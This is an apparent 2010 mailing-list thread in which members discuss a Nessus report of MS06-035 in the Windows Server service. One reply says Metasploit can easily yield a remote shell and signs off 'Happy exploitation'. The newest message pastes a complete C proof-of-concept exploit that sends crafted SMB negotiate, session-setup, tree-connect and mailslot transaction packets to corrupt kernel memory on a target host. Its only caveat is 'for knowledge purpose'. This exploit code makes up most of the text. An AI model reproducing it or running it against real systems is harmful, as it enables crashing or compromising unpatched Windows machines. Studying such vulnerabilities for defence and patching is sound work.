Exploit code for you. Try if for knowledge purpose. Do not harm anyone by this...
----------start of code------------- #include <stdio.h> #include <windows.h> #include <winsock.h> /******************************************************************* Microsoft SRV.SYS Mailslot Ring0 Memory Corruption(*MS06-035*) *Exploit* by cocoruder(frankruder_at_hotmail.com),2006.7.19 page:http://ruder.cdut.net *******************************************************************/ unsigned char SmbNeg[] = "\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x88\x05\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54" "\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"; unsigned char Session_Setup_AndX_Request[]= "\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00" "\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\x88\x05\x00\x00\x00\x00\x0d\xff\x00\x00\x00\xff" "\xff\x02\x00\x88\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x6e\x74\x00\x70\x79\x73\x6d" "\x62\x00"; unsigned char TreeConnect_AndX_Request[]= "\x00\x00\x00\x58\xff\x53\x4d\x42\x75\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xff\xfe\x00\x08\x00\x03\x04\xff\x00\x58\x00\x08" "\x00\x01\x00\x2d\x00\x00\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00" "\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x36\x00" "\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f\x3f" "\x3f\x00"; unsigned char Trans_Request[]= "\x00\x00\x00\x56\xff\x53\x4d\x42\x25\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x08\x88\x05\x00\x08\x00\x00\x11\x00\x00\x01\x00\x00" "\x04\xe0\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55" "\x00\x01\x00\x55\x00\x03\x00\x01\x00\x00\x00\x00\x00\x11\x00\x5c" "\x4d\x41\x49\x4c\x53\x4c\x4f\x54\x5c\x4c\x41\x4e\x4d\x41\x4e\x41"; unsigned char recvbuff[2048]; void neg ( int s ) { char response[1024]; memset(response,0,sizeof(response)); send(s,(char *)SmbNeg,sizeof(SmbNeg)-1,0); } void main(int argc,char **argv) { struct sockaddr_in server; SOCKET sock; DWORD ret; WSADATA ws; WORD userid,treeid; WSAStartup(MAKEWORD(2,2),&ws); sock = socket(AF_INET,SOCK_STREAM,0); if(sock<=0) { return; } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_port = htons((USHORT)atoi(argv[2])); ret=connect(sock,(struct sockaddr *)&server,sizeof(server)); if (ret==-1) { printf("connect error!\n"); return; } neg(sock); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); ret=send(sock,(char *)Session_Setup_AndX_Request,sizeof(Session_Setup_AndX_Request)-1,0); if (ret<=0) { printf("send Session_Setup_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); userid=*(WORD *)(recvbuff+0x20); //get userid memcpy(TreeConnect_AndX_Request+0x20,(char *)&userid,2); //update userid ret=send(sock,(char *)TreeConnect_AndX_Request,sizeof(TreeConnect_AndX_Request)-1,0); if (ret<=0) { printf("send TreeConnect_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); treeid=*(WORD *)(recvbuff+0x1c); //get treeid memcpy(Trans_Request+0x20,(char *)&userid,2); //update userid memcpy(Trans_Request+0x1c,(char *)&treeid,2); //update treeid ret=send(sock,(char *)Trans_Request,sizeof(Trans_Request)-1,0); if (ret<=0) { printf("send Trans_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); } ---------end of code--------------- Regards Sandeep Thakur On Thu, Jul 8, 2010 at 11:04 AM, Ravi Gopal <[email protected]> wrote: > Hi, > > Through Metasploit framework it is very easy to exploit this vulnerability > MS06-035. > You can get the shell (command prompt) of the remote system depending on > the payload selected in Metasploit. > > Please note that similar to other tools, Nessus is not an exception in > reporting false positives. So please confirm the vulnerability before > reporting it to client. Windows XP service pack 2 is vulnerable but not > service pack 3. So if somebody scans XP system with SP3 even then Nessus > reports this vulnerability. > > I hope this helps. > > Happy exploitation. > > Regards, > Ravi Gopal > > > > > On Thu, Jul 8, 2010 at 4:28 PM, Sandeep Thakur <[email protected]>wrote: > >> It seems you have run Nessus on your Windows XP operating system. However, >> Please refer to MS06-035: Vulnerability in Server Service Could Allow Remote >> Code Execution (917159) (uncredentialed check) >> >> http://www.microsoft.com/technet/security/bulletin/ms06-035.mspx >> >> >> Regards >> Sandeep Thakur >> On Thu, Jul 8, 2010 at 1:16 AM, Old Chick <[email protected]> wrote: >> >>> Hello Friends, >>> >>> Iam Trying to work on Nessus and i found the vulnerabitlity like >>> this . >>> >>> can we disscuss on these >>> Synopsis >>> Arbitrary code can be executed on the remote host due to a flaw in the >>> 'Server' service. >>> >>> Description >>> The remote host is vulnerable to heap overflow in the 'Server' service >>> that may allow an attacker to execute arbitrary code on the remote >>> host with 'SYSTEM' privileges. >>> >>> In addition to this, the remote host is also affected by an >>> information disclosure vulnerability in SMB that may allow an attacker >>> to obtain portions of the memory of the remote host. >>> >>> Thank u >>> Oldchic >>> >>> -- >>> You received this message because you are subscribed to the Google Groups >>> "nforceit" group. >>> To post to this group, send an email to [email protected]. >>> To unsubscribe from this group, send email to >>> [email protected]<nforceit%[email protected]> >>> . >>> For more options, visit this group at >>> http://groups.google.com/group/nforceit?hl=en-GB. >>> >>> >> -- >> You received this message because you are subscribed to the Google Groups >> "nforceit" group. >> To post to this group, send an email to [email protected]. >> To unsubscribe from this group, send email to >> [email protected]<nforceit%[email protected]> >> . >> For more options, visit this group at >> http://groups.google.com/group/nforceit?hl=en-GB. >> > > -- > You received this message because you are subscribed to the Google Groups > "nforceit" group. > To post to this group, send an email to [email protected]. > To unsubscribe from this group, send email to > [email protected]<nforceit%[email protected]> > . > For more options, visit this group at > http://groups.google.com/group/nforceit?hl=en-GB. > -- You received this message because you are subscribed to the Google Groups "nforceit" group. To post to this group, send an email to [email protected]. To unsubscribe from this group, send email to [email protected]. For more options, visit this group at http://groups.google.com/group/nforceit?hl=en-GB.
